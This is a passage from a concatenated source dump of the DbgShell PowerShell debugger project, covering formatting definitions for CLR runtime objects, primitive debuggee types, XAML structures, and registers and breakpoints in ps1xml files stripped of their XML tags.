'x' ) ).Append( ') ' ) $cs = $cs.Append( (GetThreadStateString $_) ).Append( ' ' ) $cs = $cs.Append( (GetThreadCategoryString $_) ).Append( ' ' ) $cs = $cs.Append( (GetThreadComStateString $_) ).Append( ' ' ) $cs = $cs.Append( 'LockCount: ' ).Append( (GetLockCountString $_) ) $cs } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrThread New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrException' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Type' New-AltPropertyListItem -PropertyName 'Message' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltPropertyListItem -PropertyName 'StackTrace' New-AltPropertyListItem -PropertyName 'HResult' -FormatString '{0:x8}' New-AltPropertyListItem -PropertyName 'Inner' } # end List view New-AltSingleLineViewDefinition { # TODO: Managed type name shortening $cs = Format-DbgTypeName $_.get_Type().get_Name() $cs = $cs.Append( ': "' ).Append( $_.get_Message() ).Append( '"' ) $cs } -CaptureContext # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrException New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrRuntime' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label '(Type)' { Format-DbgTypeName $_.GetType().get_FullName() } New-AltPropertyListItem -PropertyName 'ClrInfo' # New-AltPropertyListItem -PropertyName 'Threads' New-AltScriptListItem -Label 'Threads' { $_.get_Threads() | %{ $_.get_OSThreadId().ToString( 'x' ) } } New-AltPropertyListItem -PropertyName 'ServerGC' New-AltPropertyListItem -PropertyName 'HeapCount' New-AltPropertyListItem -PropertyName 'PointerSize' New-AltPropertyListItem -PropertyName 'AppDomains' New-AltPropertyListItem -PropertyName 'IsSingleDomain' New-AltScriptListItem -Label 'ArrayMethodTable' { Format-DbgAddress $_.get_ArrayMethodTable() } New-AltScriptListItem -Label 'ExceptionMethodTable' { Format-DbgAddress $_.get_ExceptionMethodTable() } New-AltScriptListItem -Label 'ObjectMethodTable' { Format-DbgAddress $_.get_ObjectMethodTable() } New-AltScriptListItem -Label 'StringMethodTable' { Format-DbgAddress $_.get_StringMethodTable() } New-AltScriptListItem -Label 'FreeMethodTable' { Format-DbgAddress $_.get_FreeMethodTable() } New-AltPropertyListItem -PropertyName 'SystemDomain' New-AltPropertyListItem -PropertyName 'SharedDomain' New-AltPropertyListItem -PropertyName 'DataTarget' New-AltPropertyListItem -PropertyName 'DataReader' } # end List view } # end Type Microsoft.Diagnostics.Runtime.ClrRuntime New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrAppDomain' { New-AltListViewDefinition -ListItems { New-AltPropertyListItem -PropertyName 'Name' New-AltPropertyListItem -PropertyName 'Id' New-AltScriptListItem -Label 'Address' { Format-DbgAddress $_.get_Address() } New-AltPropertyListItem -PropertyName 'ApplicationBase' New-AltPropertyListItem -PropertyName 'ConfigurationFile' New-AltPropertyListItem -PropertyName 'Modules' } # end List view New-AltSingleLineViewDefinition { $name = $_.get_Name() if( [String]::IsNullOrEmpty( $name ) ) { $name = $_.get_Id().ToString() } New-ColorString -Content $name -Fore Magenta -Back DarkBlue } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrAppDomain # New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrHeap' { # } # end Type Microsoft.Diagnostics.Runtime.ClrHeap New-AltTypeFormatEntry -TypeName 'Microsoft.Diagnostics.Runtime.ClrSegment' { New-AltListViewDefinition -ListItems { New-AltScriptListItem -Label 'Start' { Format-DbgAddress $_.get_Start() } New-AltScriptListItem -Label 'End' { Format-DbgAddress $_.get_End() } # New-AltPropertyListItem -PropertyName 'Length' # TODO: format byte size New-AltScriptListItem -Label 'Length' { $len = $_.get_Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltPropertyListItem -PropertyName 'Heap' New-AltPropertyListItem -PropertyName 'ProcessorAffinity' New-AltPropertyListItem -PropertyName 'IsLarge' New-AltPropertyListItem -PropertyName 'IsEphemeral' New-AltScriptListItem -Label 'CommittedEnd' { Format-DbgAddress $_.get_CommittedEnd() } New-AltScriptListItem -Label 'ReservedEnd' { Format-DbgAddress $_.get_ReservedEnd() } New-AltScriptListItem -Label 'FirstObject' { Format-DbgAddress $_.get_FirstObject() } New-AltScriptListItem -Label 'Gen0Start' { Format-DbgAddress $_.get_Gen0Start() } # New-AltPropertyListItem -PropertyName 'Gen0Length' New-AltScriptListItem -Label 'Gen0Length' { $len = $_.get_Gen0Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltScriptListItem -Label 'Gen1Start' { Format-DbgAddress $_.get_Gen1Start() } # New-AltPropertyListItem -PropertyName 'Gen1Length' New-AltScriptListItem -Label 'Gen1Length' { $len = $_.get_Gen1Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } New-AltScriptListItem -Label 'Gen2Start' { Format-DbgAddress $_.get_Gen2Start() } # New-AltPropertyListItem -PropertyName 'Gen2Length' New-AltScriptListItem -Label 'Gen2Length' { $len = $_.get_Gen2Length() [String]::Format( '0x{0:x} ({1})', $len, (Format-DbgByteSize $len) ) } } # end List view # New-AltSingleLineViewDefinition { # } # end AltSingleLineViewDefinition } # end Type Microsoft.Diagnostics.Runtime.ClrSegment } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be), but the definitions in this file are for .NET primitive values, which # symbol value conversion may have translated a symbol value into. # # The alternate formatting engine can find these view definitions because the # alternate formatting engine use the "TypeNames" list of a PSObject to look up # view definitions. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'System.String' { New-AltSingleLineViewDefinition { # Hacky, but I think this view definition would be over-broad # otherwise. The problem with using the debugger type is that # strings aren't very well specified... is "char*" a pointer to a # zero-terminated string, or to just one char, or what? And on top # of that, we strip off the '*' when putting the debugger type in # the TypeNames, because we dereference the pointer for the user. if( $null -eq $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { return $_ } $cs = (New-ColorString -Content '"').AppendPushPopFg( [ConsoleColor]::Cyan, $_ ).Append( '"' ) $cs } # end AltSingleLineViewDefinition # TODO: Investigate filing a bug to change PS behavior. The problem occurs when # you have a string wrapped in a custom PSObject with modified TypeNames (this is # in a normal shell): # # PS C:\Users\danthom> $pso = New-Object System.Management.Automation.PSObject -arg @( [string] 'hi' ) # PS C:\Users\danthom> $pso # hi # PS C:\Users\danthom> $pso.PSObject.TypeNames.Insert( 0, "asdf" ) # PS C:\Users\danthom> $pso # # Length # ------ # 2 # # PS C:\Users\danthom> # # Curiously Get-FormatData does not return anything for System.String, so it must # be a hard-coded thing. My workaround is to have this formatting definition. But # it doesn't give the exact same behavior as a normal string value (TODO 2: I # might be able to change the alt formatting engine to give these same results, # though): # # PS C:\Users\danthom> $normalString = "hi" # PS C:\Users\danthom> $normalString # hi # PS C:\Users\danthom> $normalString | fl # hi # PS C:\Users\danthom> $normalString | ft # hi # PS C:\Users\danthom> $normalString | fl -for # # # Length : 2 # # # # PS C:\Users\danthom> $normalString | ft -force # # Length # ------ # 2 # # # PS C:\Users\danthom> # New-AltCustomViewDefinition { if( $null -ne $_ ) { $_.ToString() } else { $_ } } # TODO: In normal PowerShell, explicitly sending a primitive value (like a string # or int) through Format-List or Format-Table just prints out the value, /unless/ # -Force is used (in which case you get a not-very-useful generated viwe). But in # our custom formatting engine, if you, for instance, send an int explicitly to # Format-AltTable, you'll get the crummy view. So the TODO is to figure out a way # to just spit the primitive out (unless -force is used, I guess). It may not be # quite straightforward because it's not like we can do it with normal view # definitions--it'll have to be a special case somewhere. } # end Type System.String New-AltTypeFormatEntry -TypeName 'System.Guid' { New-AltSingleLineViewDefinition { # # Hacky, but I think this view definition would be over-broad # # otherwise. # if( $null -eq $_.PSObject.Methods[ 'DbgGetSymbol' ] ) # { # return $_ # } $cs = New-ColorString -Foreground DarkGreen -Content $_.ToString() $cs } # end AltSingleLineViewDefinition } # end Type System.Guid New-AltTypeFormatEntry -TypeName 'System.UInt64' { #[Console]::WriteLine( "Get-PsContext: current module context is: $($ExecutionContext.SessionState.Module)" ) #$host.EnterNestedPrompt() function fmtUlong( $ulong ) { if( $ulong -lt 10 ) { return $ulong.ToString() } return [string]::Format( '0x{0}', ([MS.Dbg.DbgProvider]::FormatUInt64( $ulong, $true )) ) } New-AltSingleLineViewDefinition { fmtUlong $_ } -CaptureContext # end AltSingleLineViewDefinition New-AltCustomViewDefinition { fmtUlong $_ } -CaptureContext # end AltCustomViewDefinition } # end Type System.UInt64 New-AltTypeFormatEntry -TypeName 'System.UInt32' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt32 New-AltTypeFormatEntry -TypeName 'System.UInt16' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x4}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt16 New-AltTypeFormatEntry -TypeName 'System.Byte' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0x{0:x2}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.UInt8 New-AltTypeFormatEntry -TypeName 'System.Int64' { New-AltSingleLineViewDefinition { if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int64 New-AltTypeFormatEntry -TypeName 'System.Int32' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, so this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int32 New-AltTypeFormatEntry -TypeName 'System.Int16' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } #return [string]::Format( '0n{0:d4}', $_ ) return [string]::Format( '0n{0}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int16 New-AltTypeFormatEntry -TypeName 'System.SByte' { New-AltSingleLineViewDefinition { # Native enums are almost always backed by ints, but this could be an enum. if( $null -ne $_.PSObject.Methods[ 'DbgGetSymbol' ] ) { # It could have been converted. if( $null -ne $_.PSObject.Methods[ 'DbgGetOperativeSymbol' ] ) { $sym = $_.DbgGetOperativeSymbol() } else { $sym = $_.DbgGetSymbol() } if( $sym.IsEnum ) { return $_.ToString() # Because we've given enums a custom ToString that prints enumerand values } } if( $_ -lt 10 ) { return $_.ToString() } return [string]::Format( '0n{0:d2}', $_ ) } # end AltSingleLineViewDefinition } # end Type System.Int8 New-AltTypeFormatEntry -TypeName '!' { New-AltSingleLineViewDefinition { if( $_ -is [bool] ) { $_ } else { $bitfieldLen = $_.DbgGetSymbol().MemberInfo.BitfieldLength $asStr = [System.Convert]::ToString( $_, 2 ) # base 2 $zeroesNeeded = $bitfieldLen - $asStr.Length if( $zeroesNeeded -gt 0 ) { $asStr = (New-Object 'System.String' -Arg @( [char] '0', $zeroesNeeded )) + $asStr } if( $bitfieldLen -gt 4 ) { $asStr += [String]::Format( " (0x{0:x})", $_ ) } return '0y' + $asStr } } # end AltSingleLineViewDefinition } # end Type } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.wrl.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # We could use a converter to just use its _hstring value in its place, but # the problem with that is that Windows::Internal::String is an abstract # type, so maybe there are derived types that add other stuff that we might # want to see. It doesn't have a vtable, so Derived Type Detection won't # save us. New-AltTypeFormatEntry -TypeName '!Windows::Internal::String' { New-AltSingleLineViewDefinition { Format-AltSingleLine -InputObject $_._hstring } # end AltSingleLineViewDefinition } # end Type Windows::Internal::String } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.DebuggeeTypes.xaml.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # We keep private, shared functions in FmtUtils.ps1. If you have a script block that # needs to use them, be sure to use -CaptureContext, else they won't be available when # the script block is run. . "$PSScriptRoot\FmtUtils.ps1" New-AltTypeFormatEntry -TypeName '!XPOINTF' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': x = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.x ). Append( ', y = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.y ) } # end AltSingleLineViewDefinition } # end Type XPOINTF New-AltTypeFormatEntry -TypeName '!XPOINTD' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': x = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.x ). Append( ', y = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.y ) } # end AltSingleLineViewDefinition } # end Type XPOINTD New-AltTypeFormatEntry -TypeName '!XRECTF_RB' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() # CSS does top, right, bottom, left. Why did they start with left? Hm. (New-ColorString).Append( $sym.Type.ColorName ). Append( ': L,T,R,B = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.left ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.top ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.right ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.bottom ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XRECTF_RB New-AltTypeFormatEntry -TypeName '!XRECTF_WH' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': X,Y,W,H = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.X ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Y ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Width ). Append( ', ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.Height ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XRECTF_WH New-AltTypeFormatEntry -TypeName '!XSIZEF' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() # CSS does top, right, bottom, left. Why did they start with left? Hm. (New-ColorString).Append( $sym.Type.ColorName ). Append( ': width = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.width ). Append( ', height = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.height ) } -CaptureContext # end AltSingleLineViewDefinition } # end Type XSIZEF New-AltTypeFormatEntry -TypeName '!XGRIDLENGTH' { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() (New-ColorString).Append( $sym.Type.ColorName ). Append( ': type = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.type ). Append( ', value = ' ). AppendPushPopFg( [ConsoleColor]::Magenta, $_.value ) } # end AltSingleLineViewDefinition } # end Type XGRIDLENGTH New-AltTypeFormatEntry -TypeName 'Windows_UI_Xaml!CDependencyObject' { New-AltSingleLineViewDefinition { $type = $_.DbgGetOperativeSymbol().Type $cs = (New-ColorString).Append( $type.ColorName ).Append( ': ' ) if( $_.Name ) { $null = $cs.Append( '"' ).AppendPushPopFg( [ConsoleColor]::Cyan, $_.Name ).Append( '"' ) } else { $null = $cs.AppendPushPopFg( [ConsoleColor]::DarkGray, "" ) } if( $_.ClassName ) { $null = $cs.Append( ' ClassName: ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.ClassName ) } if( $_.PSObject.TypeNames -contains 'Windows_UI_Xaml!CImageBase' ) { if( ($_.m_pImageSource -ne 0) -and ($_.m_pImageSource.m_pstrSource -ne 0) ) { $null = $cs.Append( ' Source: ' ). AppendPushPopFg( [ConsoleColor]::Magenta, (poi $_.m_pImageSource.m_pstrSource) ) } } $cs } # end AltSingleLineViewDefinition # We want to define a custom table format, but let the custom view for base type # DbgUdtValue take precedence. So we'll just ask for the DbgUdtValue's view and # emit it again here. $udtVdi = Get-AltTypeFormatEntry -TypeName 'MS.Dbg.DbgUdtValue' ` -FormatInfoType ([MS.Dbg.Formatting.AltCustomViewDefinition]) $udtVdi.ViewDefinitionInfo.ViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Type' -Alignment Left -Width 22 -Script { $_.DbgGetOperativeSymbol().Type.ColorName } New-AltScriptColumn -Label 'Name' -Alignment Left -Width 30 -Script { New-ColorString -Content $_.Name -Fore 'Cyan' } New-AltScriptColumn -Label 'ClassName' -Alignment Left -Width 40 -TrimLocation 'Left' -Script { New-ColorString -Content $_.ClassName -Fore 'Green' } New-AltScriptColumn -Label 'Size' -Alignment Center -Script { $type = $_.DbgGetOperativeSymbol().Type if( !$type.Members.HasItemNamed( 'm_pLayoutStorage' ) -or ($_.m_pLayoutStorage -eq 0) ) { return '' } $size = $_.m_pLayoutStorage.m_size (New-ColorString -Content $size.Width.ToString() -Fore White). AppendPushPopFg( [ConsoleColor]::DarkGray, ([char] 0x00d7) ). AppendPushPopFg( [ConsoleColor]::White, $size.Height.ToString() ) } # end Size column } # End Columns } # end Table view } # end Type Windows_UI_Xaml!CDependencyObject } # end TypeEntries ================================================ FILE: DbgShell/x86/Debugger/Debugger.Format.Color.ps1xml ================================================  DbgProviderNamespaceTypes MS.Dbg.DbgContainer MS.Dbg.DbgItem Custom-ToString-Types MS.Dbg.DbgEventArgs MS.Dbg.DbgRegisterSetBase MS.Dbg.DbgStackInfo DbgProviderNamespaceTypes-GroupingFormat 4 $path = $_.PSParentPath.Replace("Debugger\Debugger::", "") if( $path.Length -eq 0 ) { $path = '\' } $path children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat 13 left if( $_.PSIsContainer ) { "[container]" } Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name MS.Dbg.DbgContainer Name [{0}] RegistersWide MS.Dbg.DbgRegisterItem [string]::Format( "{0}={1}", $_.RegisterInfo.Name, $_.RegisterInfo.GetValueString() ) RegisterTable MS.Dbg.DbgRegisterItem 8 right 26 left 14 center 14 center $_.RegisterInfo.Name $_.RegisterInfo.GetValueString() $_.RegisterInfo.DEBUG_VALUE.Type $_.RegisterInfo.IsSubregister RegisterList MS.Dbg.DbgRegisterItem $_.RegisterInfo.Name # TODO: deal with the weird precision floating type values so we can get rid of this try/catch try { $_.RegisterInfo.GetValueString() } catch { Write-Host "Caught: $_" } $_.RegisterInfo.IsSubregister $_.RegisterInfo.DEBUG_VALUE.Type Custom-ToString Custom-ToString-Types if( $_ -is [MS.Dbg.ISupportColor] ) { $_.ToColorString().ToString( [MS.Dbg.DbgProvider]::HostSupportsColor ) } else { $_.ToString() } ColorString MS.Dbg.ColorString $_.ToString( [MS.Dbg.DbgProvider]::HostSupportsColor ) DebugEventArgsList MS.Dbg.DbgEventArgs Message SpecificEventFilterTable MS.Dbg.DbgEngineEventFilter 20 right 6 center 12 center 16 left 26 left left FriendlyName Name ExecutionOption ContinueOption Argument Command ExceptionEventFilterTable MS.Dbg.DbgExceptionEventFilter 30 left 6 center 10 center 19 center 16 left left left FriendlyName Name ExceptionCode [{0:x8}] ExecutionOption ContinueOption Command SecondCommand BreakpointTable MS.Dbg.DbgBreakpointInfo 4 right 6 center 10 left 9 center 11 center left left Id if( $_.IsEnabled ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "e" } else { "E" } } else { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "D" } else { "d" } } if( $_.Offset -eq [UInt64]::MaxValue ) { return "" } [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $True, $true ) [string]::Format( "{0}/{1}", $_.NativeParams.CurrentPassCount, $_.NativeParams.PassCount ) if( $_.NativeParams.MatchThread -eq 4294967295 ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "-" } else { "***" } } else { $_.NativeParams.MatchThread.ToString( "x" ) # TODO: is this an address or an id or what? i think for user mode it's the tid } if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { [string]::Format( "({0})", $_.SymbolicName ) } else { $_.SymbolicName } Command ModuleInfoTable MS.Dbg.DbgModuleInfo 20 left 8 center 8 center 21 center left Name [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress, $True, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress + $_.Size, $True, $true ) SymbolStatus if( ($_.SymbolType -ne 'NONE') -and ($_.SymbolType -ne 'DEFERRED') -and ($_.SymbolType -ne 'EXPORT') ) { $_.SymbolFileName } FieldInfoTable MS.Dbg.DbgFieldInfo 10 right 30 left 35 left left Offset +0x{0:x3} Name $_.Type.Name "tbd" FieldInfoList MS.Dbg.DbgFieldInfo Name Offset +0x{0:x3} $_.Type.Name "tbd" DEBUG_SYMBOL_ENTRY_list Microsoft.Diagnostics.Runtime.Interop.DEBUG_SYMBOL_ENTRY [MS.Dbg.DbgProvider]::FormatAddress( $_.ModuleBase, $True, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $True, $true ) Id 0x{0:x} Size 0x{0:x} TypeId 0x{0:x} Token Arg64 0x{0:x} Arg32 0x{0:x} Tag DbgSymbolInfoTable MS.Dbg.DbgSymbol 5 right 30 left 35 left center 10 8 left Index Name $_.Type.Name if( $_.IsValueUnavailable ) { #'<value unavailable>' " - " } elseif( $_.IsValueInRegister ) { # TODO: COLORIZE "@" + $_.Register.Name } else { [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $True, $true ) } if( $_.IsValueUnavailable ) { '' } else { [string]::Format( "0x{0:x}", $_.DSE.Size ) } DbgSymbolInfoList MS.Dbg.DbgSymbol Name if( $_.IsValueUnavailable ) { '<value unavailable>' } else { [System.Text.StringBuilder] $sb = New-Object "System.Text.StringBuilder" [void] $sb.Append( "{ " ) if( $_.IsValueInRegister ) { [void] $sb.Append( '@' ) [void] $sb.Append( $_.Register.Name ) } else { [void] $sb.Append( [MS.Dbg.DbgProvider]::FormatAddress( $_.DSE.Offset, $True, $true ) ) } #$sb.AppendFormat( "{0:x} bytes", $_.DSE.Size ) [void] $sb.Append( " : 0x" ) [void] $sb.Append( $_.DSE.Size.ToString( "x" ) ) [void] $sb.Append( " bytes, " ) [void] $sb.Append( $_.DSE.Tag.ToString() ) [void] $sb.Append( ", ... }" ) $sb.ToString() } Flags ExpansionLevel Module "{" + $_.Type.Name + ", size 0x" + $_.Type.Size.ToString( "x" ) + ", ... }" Children Index ================================================ FILE: DbgShell/x86/Debugger/Debugger.Format.ps1xml ================================================  DbgProviderNamespaceTypes MS.Dbg.DbgContainer MS.Dbg.DbgItem Custom-ToString-Types MS.Dbg.DbgEventArgs MS.Dbg.DbgRegisterSetBase MS.Dbg.DbgStackInfo DbgProviderNamespaceTypes-GroupingFormat 4 $path = $_.PSParentPath.Replace("Debugger\Debugger::", "") if( $path.Length -eq 0 ) { $path = '\' } $path children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat 13 left if( $_.PSIsContainer ) { "[container]" } Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name children DbgProviderNamespaceTypes PSParentPath DbgProviderNamespaceTypes-GroupingFormat Name MS.Dbg.DbgContainer Name [{0}] RegistersWide MS.Dbg.DbgRegisterItem [string]::Format( "{0}={1}", $_.RegisterInfo.Name, $_.RegisterInfo.GetValueString() ) RegisterTable MS.Dbg.DbgRegisterItem 8 right 26 left 14 center 14 center $_.RegisterInfo.Name $_.RegisterInfo.GetValueString() $_.RegisterInfo.DEBUG_VALUE.Type $_.RegisterInfo.IsSubregister RegisterList MS.Dbg.DbgRegisterItem $_.RegisterInfo.Name # TODO: deal with the weird precision floating type values so we can get rid of this try/catch try { $_.RegisterInfo.GetValueString() } catch { Write-Host "Caught: $_" } $_.RegisterInfo.IsSubregister $_.RegisterInfo.DEBUG_VALUE.Type Custom-ToString Custom-ToString-Types $_.ToString() ColorString MS.Dbg.ColorString $_.ToString( $false ) DebugEventArgsList MS.Dbg.DbgEventArgs Message SpecificEventFilterTable MS.Dbg.DbgEngineEventFilter 20 right 6 center 12 center 16 left 26 left left FriendlyName Name ExecutionOption ContinueOption Argument Command ExceptionEventFilterTable MS.Dbg.DbgExceptionEventFilter 30 left 6 center 10 center 19 center 16 left left left FriendlyName Name ExceptionCode [{0:x8}] ExecutionOption ContinueOption Command SecondCommand BreakpointTable MS.Dbg.DbgBreakpointInfo 4 right 6 center 10 left 9 center 11 center left left Id if( $_.IsEnabled ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "e" } else { "E" } } else { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "D" } else { "d" } } if( $_.Offset -eq [UInt64]::MaxValue ) { return "" } [MS.Dbg.DbgProvider]::FormatAddress( $_.Offset, $True, $true ) [string]::Format( "{0}/{1}", $_.NativeParams.CurrentPassCount, $_.NativeParams.PassCount ) if( $_.NativeParams.MatchThread -eq 4294967295 ) { if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { "-" } else { "***" } } else { $_.NativeParams.MatchThread.ToString( "x" ) # TODO: is this an address or an id or what? i think for user mode it's the tid } if( $_.Flags.HasFlag( [Microsoft.Diagnostics.Runtime.Interop.DEBUG_BREAKPOINT_FLAG]::DEFERRED ) ) { [string]::Format( "({0})", $_.SymbolicName ) } else { $_.SymbolicName } Command ModuleInfoTable MS.Dbg.DbgModuleInfo 20 left 8 center 8 center 21 center left Name [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress, $True, $true ) [MS.Dbg.DbgProvider]::FormatAddress( $_.BaseAddress + $_.Size, $True, $true ) SymbolStatus if( ($_.SymbolType -ne 'NONE') -and ($_.SymbolType -ne 'DEFERRED') -and 